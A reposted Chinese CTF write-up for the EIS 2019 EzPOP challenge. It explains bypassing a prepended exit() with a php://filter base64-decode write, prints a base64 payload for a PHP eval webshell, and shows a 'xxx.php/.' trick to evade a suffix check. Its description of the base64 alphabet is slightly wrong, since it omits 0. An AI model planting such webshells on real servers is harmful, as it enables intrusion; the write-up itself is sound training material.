刷题记录:[EIS 2019]EzPOP
Posted 20175211lyz
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了刷题记录:[EIS 2019]EzPOP相关的知识,希望对你有一定的参考价值。
刷题记录:[EIS 2019]EzPOP
题目复现链接:https://buuoj.cn/challenges
知识点
编码写shell绕过
$data = "<?php
//" . sprintf('%012d', $expire) . "
exit();?>
" . $data;
$result = file_put_contents($filename, $data);
file_put_contents
是支持各种协议的,这样就可以将base64编码过的shell传入$data
,使用php://filter/write=convert.base64-decode/resource=
写入文件
base64工作机制
首先base64只包含[a-zA-Z1-9]+/
共64个字符
- 编码时
把明文每8位按6位查表转码,不足的位数用=
补0 - 解码时
忽略[",:
等64个字符之外的字符,然后逆运算就行
本题中json_encode后的payload是
["11",{"aa":{"path":"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"}}]
其中11
和aa
位置是可控的,去掉无效字符后,payload为
11aapath PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
这里是6位查表转8位,所以要求编码为4的倍数
绕过后缀名检查
红包题中,增加了判断条件
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
这里可以在文件名后面加/.
,即设置文件名为xxx.php/.
这里我是配合.user.ini
getshell的
以上是关于刷题记录:[EIS 2019]EzPOP的主要内容,如果未能解决你的问题,请参考以下文章